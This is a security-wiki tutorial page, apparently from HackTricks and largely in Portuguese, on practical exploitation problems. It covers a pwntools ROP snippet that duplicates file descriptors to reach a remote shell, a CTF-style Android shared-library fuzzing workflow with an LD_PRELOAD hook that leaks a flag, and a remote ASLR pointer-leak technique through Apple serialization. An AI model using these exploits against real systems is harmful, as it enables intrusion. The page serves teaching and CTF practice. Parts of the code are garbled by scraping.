Problemas Comuns na Exploração
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
FDs em Exploração Remota
Quando você envia um exploit para um servidor remoto que chama system('/bin/sh'), por exemplo, isso será executado no processo do servidor, e /bin/sh vai esperar entrada de stdin (FD: 0) e vai imprimir a saída em stdout e stderr (FDs 1 e 2). Portanto, o atacante não conseguirá interagir com o shell.
Uma forma de resolver isso é supor que quando o servidor iniciou ele criou o FD número 3 (para listening) e que então sua conexão estará no FD número 4. Dessa forma, é possível usar a syscall dup2 para duplicar o stdin (FD 0) e o stdout (FD 1) para o FD 4 (o da conexão do atacante), tornando possível contatar o shell assim que ele for executado.
from pwn import *
elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)
rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()
p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
Socat & pty
Observe que socat já transfere stdin e stdout para o socket. Contudo, o modo pty inclui caracteres DELETE. Portanto, se você enviar um \x7f (DELETE -) ele irá apagar o caractere anterior do seu exploit.
Para contornar isso, o caractere de escape \x16 deve ser prefixado a qualquer \x7f enviado.
Aqui você pode encontrar um exemplo desse comportamento.
Android AArch64 shared-library fuzzing & LD_PRELOAD hooking
When an Android app ships only a stripped AArch64 .so, you can still fuzz exported logic directly on-device without rebuilding the APK. A practical workflow:
- Localize pontos de entrada chamáveis.
objdump -T libvalidate.so | grep -E "validate"lista rapidamente as funções exportadas. Decompilers (Ghidra, IDA, BN) revelam a assinatura real, por exemploint validate(const uint8_t *buf, uint64_t len). - Escreva um harness autônomo. Carregue um arquivo, mantenha o buffer vivo e chame o símbolo exportado exatamente como o app faria. Cross-compile com o NDK (por exemplo
aarch64-linux-android21-clang harness.c -L. -lvalidate -fPIE -pie).
Harness mínimo baseado em arquivo
```c #includeextern int validate(const uint8_t *buf, uint64_t len);
int main(int argc, char **argv) { if (argc < 2) return 1; int fd = open(argv[1], O_RDONLY); if (fd < 0) return 1; struct stat st = {0}; if (fstat(fd, &st) < 0) return 1; uint8_t *buffer = malloc(st.st_size + 1); read(fd, buffer, st.st_size); close(fd); int ret = validate(buffer, st.st_size); free(buffer); return ret; }
</details>
3. **Reconstruir a estrutura esperada.** As mensagens de erro e as comparações em Ghidra mostraram que a função fazia parse de JSON estrito com chaves constantes (`magic`, `version`, aninhado `root.children.*`) e verificações aritméticas (por exemplo, `value * 2 == 84` ⇒ `value` deve ser `42`). Fornecer JSON sintaticamente válido que satisfaça progressivamente cada ramificação permite mapear o esquema sem instrumentação.
4. **Contornar anti-debug para leak segredos.** Como o `.so` importa `snprintf`, sobrescreva-o com `LD_PRELOAD` para despejar strings de formato sensíveis mesmo quando breakpoints estão bloqueados:
<details>
<summary>Minimal snprintf leak hook</summary>
```c
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdarg.h>
#include <stdio.h>
#include <string.h>
typedef int (*vsnprintf_t)(char *, size_t, const char *, va_list);
int snprintf(char *str, size_t size, const char *fmt, ...) {
static vsnprintf_t real_vsnprintf;
if (!real_vsnprintf)
real_vsnprintf = (vsnprintf_t)dlsym(RTLD_NEXT, "vsnprintf");
va_list args;
va_start(args, fmt);
va_list args_copy;
va_copy(args_copy, args);
if (fmt && strstr(fmt, "MHL{")) {
fprintf(stdout, "[LD_PRELOAD] flag: ");
vfprintf(stdout, fmt, args);
fputc('\n', stdout);
}
int ret = real_vsnprintf(str, size, fmt, args_copy);
va_end(args_copy);
va_end(args);
return ret;
}
LD_PRELOAD=./hook.so ./validate_harness payload.json exfiltrates o flag interno e confirma o crash oracle sem patching o binary.
5. Reduza o espaço de fuzz. O disassembly expôs uma chave XOR reutilizada na comparação do flag, significando que os primeiros sete bytes do flag eram conhecidos. Fuzz apenas os nove bytes desconhecidos.
6. Insira bytes de fuzz dentro de um envelope JSON válido. O AFL harness lê exatamente nove bytes de stdin, copia-os para o sufixo do flag e hard-codes todos os outros campos (constants, tree depths, arithmetic preimage). Qualquer leitura malformada simplesmente sai, então o AFL gasta ciclos em testcases significativos:
Minimal AFL harness
```c #includeextern int validate(unsigned char *bytes, size_t len);
#define FUZZ_SIZE 9
int main(void) {
uint8_t blob[FUZZ_SIZE];
if (read(STDIN_FILENO, blob, FUZZ_SIZE) != FUZZ_SIZE) return 0;
char suffix[FUZZ_SIZE + 1];
memcpy(suffix, blob, FUZZ_SIZE);
suffix[FUZZ_SIZE] = ‘\0’;
char json[512];
int len = snprintf(json, sizeof(json),
“{"magic":16909060,"version":1,"padding":0,"flag":"MHL{827b07c%s}",”
“"root":{"type":16,"level":3,"num_children":1,"children":[”
“{"type":32,"level":2,"num_children":1,"subchildren":[”
“{"type":48,"level":1,"num_children":1,"leaves":[”
“{"type":64,"level":0,"reserved":0,"value":42}]}}]}}”,
suffix);
if (len <= 0 || (size_t)len >= sizeof(json)) return 0;
validate((unsigned char *)json, len);
return 0;
}
</details>
7. **Run AFL with the crash-as-success oracle.** Qualquer input que satisfaça todas as checagens semânticas e adivinhe o sufixo correto de nove bytes aciona o crash deliberado; esses arquivos vão para `output/crashes` e podem ser replayed através do harness simples para recuperar o secret.
Esse workflow permite que você triage validadores JNI protegidos contra debug rapidamente, leak secrets quando necessário, e depois fuzz apenas os bytes significativos, tudo isso sem tocar no APK original.
## Image/Media Parsing Exploits (DNG/TIFF/JPEG)
Formatos de câmera maliciosos frequentemente incluem seu próprio bytecode (opcode lists, map tables, tone curves). Quando um decoder privilegiado não faz bound-check das dimensões derivadas de metadata ou dos plane indices, esses opcodes viram primitives de leitura/escrita controladas pelo atacante que podem groom the heap, pivot pointers, ou até mesmo leak ASLR. O exploit Quram da Samsung, encontrado in-the-wild, é um exemplo recente de encadeamento de um bug de bounds em `DeltaPerColumn`, heap spraying via opcodes pulados, vtable remapping, e uma JOP chain para `system()`.
<a class="content_ref" href="../mobile-pentesting/android-app-pentesting/abusing-android-media-pipelines-image-parsers.md"><span class="content_ref_label">Abusing Android Media Pipelines Image Parsers</span></a>
## Pointer-Keyed Hash Table Pointer Leaks on Apple Serialization
### Requisitos & superfície de ataque
- Um serviço aceita property lists (XML ou binary) controladas pelo atacante e chama `NSKeyedUnarchiver.unarchivedObjectOfClasses` com uma allowlist permissiva (por exemplo, `NSDictionary`, `NSArray`, `NSNumber`, `NSString`, `NSNull`).
- Os objetos resultantes são reutilizados e posteriormente serializados novamente com `NSKeyedArchiver` (ou iterados em ordem determinística de bucket) e enviados de volta ao atacante.
- Algum tipo de chave nos containers usa valores de pointer como seu hash code. Antes de March 2025, `CFNull`/`NSNull` caiu para `CFHash(object) == (uintptr_t)object`, e a desserialização sempre retornava o singleton de shared-cache `kCFNull`, fornecendo um pointer estável compartilhado pelo kernel sem corrupção de memória ou medição temporal.
### Controllable hashing primitives
- **Pointer-based hashing:** o `CFRuntimeClass` de `CFNull` não tem um callback de hash, então `CFBasicHash` usa o endereço do objeto como hash. Como o singleton vive em um endereço fixo no shared-cache até reboot, seu hash é estável entre processos.
- **Attacker-controlled hashes:** chaves `NSNumber` de 32 bits são hasheadas via `_CFHashInt`, que é determinístico e controlável pelo atacante. Escolher inteiros específicos permite ao atacante controlar `hash(number) % num_buckets` para qualquer tamanho de tabela.
- **`NSDictionary` implementation:** dicionários imutáveis embutem um `CFBasicHash` com uma contagem de buckets prima escolhida de `__CFBasicHashTableSizes` (por exemplo, 23, 41, 71, 127, 191, 251, 383, 631, 1087). Colisões são tratadas com linear probing (`__kCFBasicHashLinearHashingValue`), e a serialização percorre os buckets em ordem numérica; portanto, a ordem das chaves serializadas codifica o índice de bucket em que cada chave acabou ocupando.
### Encoding bucket indices into serialization order
Ao craftar um plist que materializa um dicionário cujos buckets alternam entre slots ocupados e vazios, o atacante restringe onde o linear probing pode colocar `NSNull`. Para um exemplo de 7 buckets, preencher os buckets pares com chaves `NSNumber` produz:
```text
bucket: 0 1 2 3 4 5 6
occupancy: # _ # _ # _ #
Durante a deserialização a vítima insere a única chave NSNull. Seu bucket inicial é hash(NSNull) % 7, mas a sondagem avança até atingir um dos índices abertos {1,3,5}. A ordem serializada das chaves revela qual slot foi usado, divulgando se o hash do ponteiro módulo 7 está em {6,0,1}, {2,3} ou {4,5}. Como o atacante controla a ordem serializada original, a chave NSNull é emitida por último no plist de entrada, então a ordenação pós-reserialização é unicamente função da colocação do bucket.
Resolvendo resíduos exatos com tabelas complementares
Um único dicionário apenas leaks um intervalo de resíduos. Para determinar o valor preciso de hash(NSNull) % p, construa dois dicionários por tamanho de bucket primo p: um com buckets pares pré-preenchidos e outro com buckets ímpares pré-preenchidos. Para o padrão complementar (_ # _ # _ # _), os slots vazios (0,2,4,6) mapeiam para os conjuntos de resíduos {0}, {1,2}, {3,4}, {5,6}. Observar a posição serializada de NSNull em ambos os dicionários reduz o resíduo a um único valor porque a interseção dos dois conjuntos de candidatos produz um r_i único para esse p.
O atacante agrupa todos os dicionários dentro de um NSArray, então uma única viagem deserialize → serialize leaks resíduos para cada tamanho de tabela escolhido.
Reconstruindo o ponteiro shared-cache de 64 bits
Para cada primo p_i ∈ {23, 41, 71, 127, 191, 251, 383, 631, 1087}, o atacante recupera hash(NSNull) ≡ r_i (mod p_i) a partir da ordenação serializada. Aplicando o Teorema Chinês dos Restos (CRT) com o algoritmo de Euclides estendido resulta:
Π p_i = 23·41·71·127·191·251·383·631·1087 = 0x5ce23017b3bd51495 > 2^64
assim, o resíduo combinado corresponde unicamente ao ponteiro 64-bit para kCFNull. O Project Zero PoC combina iterativamente congruências enquanto imprime módulos intermediários para mostrar a convergência em direção ao endereço real (0x00000001eb91ab60 na build vulnerável).
Fluxo de trabalho prático
- Gerar entrada forjada: Build the attacker-side XML plist (two dictionaries per prime,
NSNullserialized last) and convert it to binary format.
clang -o attacker-input-generator attacker-input-generator.c
./attacker-input-generator > attacker-input.plist
plutil -convert binary1 attacker-input.plist
- Processamento na vítima: The victim service deserializes with
NSKeyedUnarchiver.unarchivedObjectOfClassesusing the allowed classes set{NSDictionary, NSArray, NSNumber, NSString, NSNull}and immediately re-serializes withNSKeyedArchiver. - Extração do resíduo: Converting the returned plist back to XML reveals the dictionary key ordering. A helper such as
extract-pointer.creads the object table, determines the index of the singletonNSNull, maps each dictionary pair back to its bucket residue, and solves the CRT system to recover the ponteiro do shared-cache. - Verificação (opcional): Compiling a tiny Objective-C helper that prints
CFHash(kCFNull)confirms the leaked value matches the real address.
No memory safety bug is required—simply observing serialization order of pointer-keyed structures yields a remote ASLR bypass primitive.
Páginas relacionadas
Common Exploiting Problems Unsafe Relocation Fixups
Reversing Tools & Basic Methods
Referências
- FD duplication exploit example
- Socat delete-character behaviour
- FuzzMe – Reverse Engineering and Fuzzing an Android Shared Library
- Pointer leaks through pointer-keyed data structures (Project Zero)
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


